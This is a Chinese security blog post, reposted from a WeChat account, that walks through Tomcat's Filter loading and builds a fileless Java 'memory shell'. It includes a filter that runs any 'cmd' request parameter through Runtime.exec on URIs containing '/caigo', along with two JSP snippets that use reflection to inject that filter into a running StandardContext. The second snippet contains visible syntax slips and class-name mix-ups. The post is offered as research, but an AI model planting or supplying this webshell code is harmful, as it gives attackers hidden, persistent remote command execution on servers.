JAVA安全-内存马系列-Filter

admin 2024年11月21日12:49:14评论11 views字数 7464阅读24分52秒阅读模式
JAVA安全-内存马系列-Filter
JAVA安全-内存马系列-Filter

点击上方蓝字·关注我们

免责声明
JAVA安全-内存马系列-Filter

由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。

前言
JAVA安全-内存马系列-Filter

在前面,我们已经分析了listener和servlet两种类型的内存马,然后本文来分析filter,文章中会把前两篇的分析思路结合起来,这篇可以说是最细的一篇了。

文章目录
JAVA安全-内存马系列-Filter
Filter创建doFilter断点分析    调试分析    手搓内存马Filter创建处断点分析    tomcat加载流程    调试分析    手搓内存马最后

Filter创建

完整代码

public class TestFilter implements Filter {    @Override    public void init(FilterConfig filterConfig) throws ServletException {        System.out.println("--创建过滤器--");    }    @Override    public void doFilter(ServletRequest servletRequest, ServletResponse response, FilterChain chain) throws IOException, ServletException {        System.out.println("过滤器运行中");        HttpServletRequest requestURI1 = (HttpServletRequest) servletRequest;        String requestURI = requestURI1.getRequestURI();        if (requestURI.contains("/caigo")) {            String cmd = servletRequest.getParameter("cmd");            try {                Runtime.getRuntime().exec(cmd);            } catch (IOException e) {                throw new RuntimeException(e);            }        }    }    @Override    public void destroy() {        System.out.println("--销毁过滤器--");    }}

web.xml配置

<filter>        <filter-name>testFilter</filter-name>        <filter-class>com.example.filtershell.filter.TestFilter</filter-class>    </filter>    <filter-mapping>        <filter-name>testFilter</filter-name>        <url-pattern>/*</url-pattern>    </filter-mapping>

配置完成后,把项目启动看下效果

JAVA安全-内存马系列-Filter

doFilter断点分析

接下来就是调试分析了,网上大部分分析文章都是在doFilter断点,然后看它的调用栈,那么我们也先来这种,要搞懂的问题还是下面两个

1、这个filter是咋把我们创建的类加载到内存中的

2、我们如何通过java代码把我们自定义的filter类加载到内存中

但是在调试分析前我们要先思考几个点

我们前面在分析listener的时候,我们只要控制的是listener这个类传入,那是因为创建listener时我们要配置的信息只有类

JAVA安全-内存马系列-Filter

但是filter不一样,我们要配置的信息除了类,还有类别名,还有对应的触发访问路由,那么我们是不是想要创建一个filter内存马是不是除了filter对象的传入,还要搞清楚filter别名、filter路由是如何传入的对吧,这就是filter内存马和listener内存马编写的区别

动调分析

JAVA安全-内存马系列-Filter

然后我们就找下刚刚提到的三个点:Filter、Filtername、FilterURL是从哪里来的

JAVA安全-内存马系列-Filter

是在StandardContext#context中,这里可以看到和filter相关的有三个:filterConfigs、filterDefs、filterMaps

这里粗略记录下这三个是干什么的

filterMaps 存放了filter别名和路由filterDefs 存放了filter类指向和filter别名filterConfigs 存放了一些配置信息

我们详细整理下内容

filter创建需要:filter类引用、filter别名、对应路由、绑定路由的filter别名、filter实例

对应方法分别是 filterDef#filterclass、filterDef#filtername、filterMap#urlPattern、filterMap#filterName

这里实际上还要传入我们创建的filter实例,但是这里分析不到,是通过setfilter传入

我们要先配置好这些,把filterDef和filterMap写入StandardContext#context中

然后在filterconfig中有StandardContext#context和filterDef,我们也要添加

最后获取filterconfigs,把filterconfig写入

大概的思路就是这样,我们来一步步写代码

手搓内存马

流程如下:

1、创建filter对象

2、获取StandardContext#context

3、配置filterDef并添加

4、配置filterMap并添加

5反射创建FilterConfig,传入standardContext与filterDef

6、获取filterConfigs,并且转换成map类型

7、把filter名和配置好的filterConfig传入filterConfings

//1、创建filter<%     class testFilter implements Filter {        //中间件启动后就自动运行        @Override        public void init(FilterConfig filterConfig) throws ServletException {            System.out.println("--创建过滤器--");        }        @Override        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {            System.out.println("过滤器运行中");            HttpServletRequest requestURI1 = (HttpServletRequest) servletRequest;            String requestURI = requestURI1.getRequestURI();            if (requestURI.contains("/caigo")) {                String cmd = servletRequest.getParameter("cmd");                try {                    Runtime.getRuntime().exec(cmd);                } catch (IOException e) {                    throw new RuntimeException(e);                }            }        }        @Override        //中间件关闭后就自动运行        public void destroy() {            System.out.println("--销毁过滤器--");        }    }%><%//2、获取StandardContext#contextField request1 = request.getClass().getDeclaredField("request");request1.setAccessible(true);Request request2 = (Request) request1.get(request);StandardContext context = (StandardContext) request2.getContext();//3、配置filterDef并添加testFilter testFilter = new testFilter();FilterDef filterDef = new FilterDef();filterDef.setFilterName("testfilter");filterDef.setFilterClass(testFilter.getClass().getName());filterDef.setFilter(testFilter);//添加filterDefcontext.addFilterDef(filterDef);//4、配置filterMap并添加FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName("testfilter");filterMap.setDispatcher(DispatcherType.REQUEST.name());//添加我们的filterMap到所有filter最前面context.addFilterMapBefore(filterMap);//5、反射创建FilterConfig,传入standardContext与filterDefConstructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);//6、获取filterConfigs,并且转换成map类型Field Configs = context.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(context);//7、把filter名和配置好的filterConfig传入filterConfingsfilterConfigs.put("testfilter",filterConfig);%>

效果

JAVA安全-内存马系列-Filter

这种分析方法,推荐把断点调试里面的参数和内存马代码结合起来看,理解的会比较快,不然会有点难理解,然后接下来我们来第二种方式分析,我个人认为第二种分析方法会容易理解的多

Filter创建处断点分析

tomcat加载流程

这个其实在servlet那篇已经讲过了,这里再说一下,那么回到正题filter是在哪里添加的呢?这就要涉及到tomcat的运行流程了

JAVA安全-内存马系列-Filter

tomcat是如何添加filter的呢?实际上是通过web.xml读取配置,然后添加的,那么我们想要定位到添加代码,就可以去看web.xml配置解析那一块的流程

JAVA安全-内存马系列-Filter

通过web.xmlwebConfig()解析xml稳定,然后触发configureContext()赋值对象,这里流程图可以看到后续就是我们添加filter和servlet的流程了,那么我们定位到这个类

这里要记得在pom.xml中添加tomcat的包,不然可能搜不到

<dependency>    <groupId>org.apache.tomcat</groupId>    <artifactId>tomcat-catalina</artifactId>    <version>8.5.81</version> //版本选择和自己tomcat同版本</dependency>

然后maven下载源代码

JAVA安全-内存马系列-Filter

JAVA安全-内存马系列-Filter

调试分析

往下调试到第1224行

JAVA安全-内存马系列-Filter

这里两个for其实就是filter的添加流程,我们各下个断点,一个个看

for (FilterDef filter : webxml.getFilters().values()) {//for循环获取webxml中filter的定义信息    if (filter.getAsyncSupported() == null) {//判断filter的 async-supported 属性是否为 null        filter.setAsyncSupported("false");//如果是 null,则将其设置为 "false"       }    context.addFilterDef(filter);//不为null,通过addfilterDef添加filter信息}

我们看下filter中有什么信息

JAVA安全-内存马系列-Filter

首先,这个filter是个filterDef对象,然后里面有两个关键参数

filterName和filterClass,分别是我们传入的类别名和类引用,然后好像就没了

我们看下一个for循环

for (FilterMap filterMap : webxml.getFilterMappings()) {//从 webxml 对象中获取所有filter映射    context.addFilterMap(filterMap);//将filter映射添加到 context 对象中}

JAVA安全-内存马系列-Filter

这个filterMap是个filterMap对象,然后里面有两个关键参数

filterName和urlPatterns,分别是我们设置的路由映射的类别名和对应路由

然后到这里代码就结束了,这个时候各位应该发现了,是不是少了个啥?没有传入我们实例化的filter,其实这里和servlet一样,有懒加载机制,在filterDef有个setfilter方法可以传入我们创建的filter实例,那么到这里filter的添加流程我们就分析完了

手搓内存马

添加步骤如下

1、创建filter对象

2、获取StandardContext#context

3、创建filterDef并写入filter信息

4、创建filterMap并写入filter映射路由

5、把filterDef和filterMap添加到context中

<%  //1、创建filter对象    class TestServlet extends HttpServlet {    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        System.out.println("触发doget");        String requestURI = req.getRequestURI();        if (requestURI.contains("/caigo")) {            String cmd = req.getParameter("cmd");            try {                Runtime.getRuntime().exec(cmd);            } catch (IOException e) {                throw new RuntimeException(e);            }        }    }}%>%<//2、获取StandardContext#contextServletContext servletContext = request.getServletContext();Field applicationfield = servletContext.getClass().getDeclaredField("context");applicationfield.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext)applicationfield.get(servletContext);Field standardContext = applicationContext.getClass().getDeclaredField("context");standardContext.setAccessible(true);StandardContext context = (StandardContext) standardContext.get(applicationContext);//3、创建filterDef并写入filter信息'FilterDef filterDef = new FilterDef();filterDef.setFilterName("testFilter");filterDef.setFilter(new TestFilter());filterDef.setFilterClass(TestFilter.class.getName());//4、创建filterMap并写入filter映射路由FilterMap filterMap = new FilterMap();filterMap.setFilterName("testFilter");filterMap.addURLPattern("/*");//5、把filterDef和filterMap添加到context中context.addFilterDef(filterDef);context.addFilterMap(filterMap);%>

效果演示

JAVA安全-内存马系列-Filter

那么可以发现第二种我们在分析和手搓的时候是没有添加filterConfigs的,因为我这里分析流程中没有看到需要传入filterConfigs,我也去请教过一些师傅,部分师傅说如果没传入filterConfigs的话filter内存马生效不了,但是我本地环境可以成功,就搞得我有点蒙,然后我在filterConfigs.put的地方下来个断点,发现貌似传入filterMap和filterDef后,代码逻辑会自己走到filterConfigs.put,如果有深入分析过filter,懂具体原因的师傅可以加我V交流一下,感谢

最后

那么到这里java传统的三种内存马我们就都分析完了,接下来应该就spring boot的三种类型内存马的分析了

如有技术问题可扫描交流群二维码进群交流

JAVA安全-内存马系列-Filter

如果二维码过期,可以加我联系方式备注“交流群

JAVA安全-内存马系列-Filter

原文始发于微信公众号(菜狗安全):JAVA安全-内存马系列-Filter

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日12:49:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全-内存马系列-Filterhttps://cn-sec.com/archives/3419547.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息